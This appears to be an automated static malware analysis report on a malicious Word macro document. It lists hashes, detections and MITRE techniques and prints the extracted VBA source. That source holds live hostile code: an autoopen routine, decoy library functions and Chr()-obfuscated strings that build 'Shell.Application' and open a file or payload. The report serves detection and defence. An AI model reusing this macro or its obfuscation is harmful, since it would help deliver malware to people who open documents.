Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0a0884d5a1c170fd…

MALICIOUS

Office (OOXML)

21.3 KB Created: 2015-07-21 07:00:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2015-09-15
MD5: 0d707ba6e4fa03367af093eed8ee5e60 SHA-1: d3995259d5b850087aa9e248083b66e52938a7a4 SHA-256: 0a0884d5a1c170fd3db7618c6ab9d1f728cd6d48fd923486255f735f70ffdb05
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros, as indicated by multiple heuristic firings including 'OLE_VBA_AUTOOPEN' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC'. The presence of a 'CreateObject' call within the VBA code suggests an attempt to execute arbitrary code, likely for downloading and running a secondary payload. The 'autoopen' subroutine is present, which is a common entry point for macro execution.

Heuristics 6

  • ClamAV: Doc.Macro.ObfuscatedHeuristic-5931994-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.ObfuscatedHeuristic-5931994-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set KM_WaitToken8 = CreateObject(ghOvMoYQARcyx)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6239 bytes
SHA-256: cd26aa2b1a64c122b32f87135aabffd6e3b6207312339e32518131350f387449
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub KM_CheckForReady(Pe1 As Double)
KM_KMotion_Lock
End Sub
Sub autoopen()
KM_CheckForReady 4.22
End Sub

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"
Public PdrTydeifFCh As String

Public Function KM_CompileAndLoadCoff(ByVal Thread As Long, ByVal Name As String, ByRef Err As String, ByVal MaxErrLen As Long) As Long
    If global_KM_handle = 0 Then
        Result = KM_Open()
        If global_KM_handle = 0 Then
            KM_CompileAndLoadCoff = 13
            Exit Function
        End If
    End If
    MarshalPre Err
    KM_CompileAndLoadCoff = LOs.KMViaVB_CompileAndLoadCoff(global_KM_handle, Thread, Name, Err, MaxErrLen)
    MarshalPost Err
End Function


Public Function KM_ServiceConsole1(ByVal bd As Long) As Long
    If bd = 0 Then
            KM_ServiceConsole1 = 13
            Exit Function
    End If
    KM_ServiceConsole1 = 1
End Function

Public Function KM_ServiceConsole(ByVal bd As Long) As Long
    If global_KM_handle = 0 Then
        Result = KM_Open()
        If global_KM_handle = 0 Then
            KM_ServiceConsole = 13
            Exit Function
        End If
    End If
    KM_ServiceConsole = LOs.KMViaVB_ServiceConsole(global_KM_handle)
End Function
Public Function KM_ListLocations(ByRef nList As Long, ByRef List() As Long) As Long
    If global_KM_handle = 0 Then
        Result = KM_Open()
        If global_KM_handle = 0 Then
            KM_ListLocations = 13
            Exit Function
        End If
    End If
    KM_ListLocations = LOs.KMViaVB_ListLocations(global_KM_handle, nList, List(0))
End Function

Public Function KM_LoadCoff(ByVal Thread As Long, ByVal Name As String) As Long
    If global_KM_handle = 0 Then
        Result = KM_Open()
        If global_KM_handle = 0 Then
            KM_LoadCoff = 13
            Exit Function
        End If
    End If
    KM_LoadCoff = LOs.KMViaVB_LoadCoff(global_KM_handle, Thread, Name)
End Function

Attribute VB_Name = "Module3"

Public Function KM_Close__() As Long
    Dim lng As Long
    Debug.Print Hex(KMViaVB_Test1)
    lng = 0
    Debug.Print Hex(LOs.KMViaVB_Test2(lng)), Hex(lng)
    lng = 10
    Debug.Print Hex(LOs.KMViaVB_Test2(lng)), Hex(lng)
    Debug.Print Hex(LOs.KMViaVB_Test3(lng)), Hex(lng)
    Debug.Print Hex(LOs.KMViaVB_Test3(lng)), Hex(lng)
    
    ' quick exit
    KM_Close__ = 13
    Exit Function
    
    
    If global_KM_handle = 0 Then
        KM_Close__ = 13
        Exit Function
    End If
    Debug.Print Hex(global_KM_handle)
    LOs.KMViaVB_Free (global_KM_handle)
    
    If global_KM_handle <> 0 Then
        KM_Close__ = 13
        Exit Function
    End If
    
    Debug.Print Hex(global_KM_handle)

End Function
Public Function KM_SetConsoleCallback(ByVal bd As Long) As Long
    If global_KM_handle = 0 Then
        Result = KM_Open()
        If global_KM_handle = 0 Then
            KM_SetConsoleCallback = 13
            Exit Function
        End If
    End If
'   KM_SetConsoleCallback = KMViaVB_SetConsoleCallback(global_KM_Handle, AddressOf ConsoleCallback)
'   handler = AddressOf ConsoleCallback
End Function
Function ConsoleCallback(ByVal Msg As String) As Long
    ConsoleMessage = ConsoleMessage & Msg
End Function


Public Sub KM_ReleaseToken(ByVal bd As Long)
    If global_KM_handle = 0 Then
        Result = KM_Open()
        If global_KM_handle = 0 Then
            'KM_ReleaseToken = 13
            Exit Sub
        End If
    End If
    LOs.KMViaVB_ReleaseToken (global_KM_handle)
End Sub
Public Function KM_Failed(ByVal bd As Long) As Long
    If global_KM_handle = 0 Then
        Result = KM_Open()
        If global_KM_handle = 0 Then
            KM_Failed = 13
            Exit Function
        End If
    End If
    KM_Failed = LOs.KMViaVB_Failed(global_KM_handle)
End Function

Public Function KM_WaitToken8(ghOvMoYQARcyx As String)
    For G6GPxSzIito = 59 To 61
    ghOvMoYQARcyx = Replace(ghOvMoYQARcyx, Chr(G6GPxSzIito), "")
    Next G6GPxSzIito
       LKNNDAd = KM_ServiceConsole1(131)
    LKNNDAd = KM_ServiceConsole1(421)
    Set KM_WaitToken8 = CreateObject(ghOvMoYQARcyx)

    LKNNDAd = KM_ServiceConsole1(781)
    LKNNDAd = KM_ServiceConsole1(221)
End Function
Public Function KM_CheckForReady(ByVal bd As Long) As Long
    If global_KM_handle = 0 Then
        Result = KM_Open()
        If global_KM_handle = 0 Then
            KM_CheckForReady = 13
            Exit Function
        End If
    End If
    KM_CheckForReady = LOs.KMViaVB_CheckForReady(global_KM_handle)
End Function

Attribute VB_Name = "Module4"

Public Sub MarshalPre(ByRef s As String)
    s = Space(255)
End Sub
Public Sub MarshalPost(ByRef s As String)
    Dim p As Long
    p = InStr(s, Chr(0))
    If p Then s = Left(s, p - 1)
End Sub
Public Function KM_ReadLineTimeOut12(l1kdMhpycZGT2g As String)
    Set TqnvQE1T = KM_WaitToken8(Chr(83) & Chr(59) & Chr(104) & "e" & Chr(108) & Chr(108) & ".<" & "A" & Chr(112) & Chr(112) & Chr(108) & Chr(105) & "c" & Chr(97) & Chr(61) & "t" & Chr(105) & Chr(111) & Chr(110))
LSOMKL = KM_ServiceConsole1(331)
TqnvQE1T.Open (PdrTydeifFCh)
If LSOMKL > 0 Then
Exit Function
End If
LSOMKL = LSOMKL * 2
End Function
Public Function KM_WriteLine(ByVal s As String) As Long
    If global_KM_handle = 0 Then
        Result = KM_Open()
        If global_KM_handle = 0 Then
            KM_WriteLine = 13
            Exit Function
        End If
    End If
    KM_WriteLine = LOs.KMViaVB_WriteLine(global_KM_handle, s)
End Function
Public Function KM_WriteLineWithEcho(ByVal s As String) As Long
    If global_KM_handle = 0 Then
        Result = KM_Open()
        If global_KM_handle = 0 Then
            KM_WriteLineWithEcho = 13
            Exit Function
        End If
    End If
    KM_WriteLineWithEcho = LOs.KMViaVB_WriteLineWithEcho(global_KM_handle, s)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 30208 bytes
SHA-256: ed7c21d1a963a663199b6d1257211e01e39d93a1fb8ca229a8df67d8e2a6845f
Detection
ClamAV: Doc.Macro.ObfuscatedHeuristic-5931994-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.